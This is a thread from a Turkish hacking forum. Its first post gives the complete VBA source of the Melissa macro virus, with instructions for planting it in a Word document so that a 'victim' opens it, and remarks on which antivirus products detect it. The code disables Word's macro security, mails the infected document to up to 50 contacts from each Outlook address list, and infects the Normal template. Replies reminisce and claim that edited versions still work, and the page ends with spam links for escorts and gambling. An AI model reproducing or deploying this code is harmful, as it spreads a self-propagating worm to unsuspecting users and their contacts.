[rootturkhacks.com~]
duyuru LiNK KISALTMAK / TEMA VEYA SCRiPT iSTEĞiNDE BULUNMAK YASAKTIR!
duyuru GiZLi iÇERiKLERE "asdafsdfsdf" TARZI YORUM YAPMAK BAN SEBEBIDIR !
hack forum

Baş belası Melissa Virüsü Kodları

#1
Bir Microsoft Word Belgesi Acalim

Bos Belge acildiginda Alt + f11 Tuslarina Basalim Visual Basic Acilacaktir.
Project 1 / Microsoft Word objects / This ******** Acilacaktir

This ******** Seciniz Ve icine Melisa Virusu Kodlari YAziniz Ve Kaydet CTRL + S Tuslarina basiniz Ve Visual Basic uygulamasini kapatiniz.
Word Belgesini Kaydedin Ve Cikin

Melisa Virusu Executable EXe calismasi degildir Virus Sadece makro Virusudur Ve kurbaniniz bUnu kesinlikle yer.Exe uzantisi olmadigindan dolayi kabul edecektir.
Ancak panda ve Norton da denedim ikiside virus olrak buluyor.Avast Virus olarak bulmuyor dikkatinizi cekeyim bu konuya.

Kod:
.................................................. ...Kodlar......................................... ......................

Private Sub ********_Open() ' Writted By eXit
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else "
BreakUmOffASlice.Attachments.Add Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = Active********.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
imza
[Resim: Z93lN0.gif]
Benim Yaptıklarımı Sizler Hayal Edemezsiniz !!!
Alıntı
#2
eline sağlık güzel konu
Alıntı
#3
eline sağlık
Alıntı
#4
nostalji yapiyoruz sanirim melissa virusu 1999 yilinda cikmis, hemen windows 98imde test edeyim bari Smile
Alıntı
#5
98 de çıkmış bişi fakat güzel bir editlemeyle halaaa işlevselliğini sürdürüyor cavırın eniği Smile
imza
[Resim: Z93lN0.gif]
Benim Yaptıklarımı Sizler Hayal Edemezsiniz !!!
Alıntı
#6
(04-30-2020, 01:56 PM)horozkentli demiş ki: Ziyaretçiler Mesajlardaki Linki Göremez.

İçerikten Tam Olarak Yararlanmak İçin Lütfen BURAYA Tıklayarak Üye Olunuz !
98 de çıkmış bişi fakat güzel bir editlemeyle halaaa işlevselliğini sürdürüyor cavırın eniği Smile

neyse bunlar normal bazilari da 2012 yilinda cikan crypteri saglam ve guclu olarak tarif ediyorlar, bizimkiler dedigim gibi nostalji seviyor 1980 yilinda cikan virusler var bir ara onlara da bakalim Smile
Alıntı




Bu konuyu görüntüleyen kullanıcı(lar): 1 Ziyaretçi
brazzers premium accounts izmit escort porno beylikdüzü escort avcılar escort porno cami halısı cami halısı vdcasino vdcasino giriş ilbet casino siteleri taraftarium24 ilbet giriş mobil ödeme ile bahis izmir escort izmir escort izmir escort izmir escort diyarbakır escort kızılay escort gaziantep escort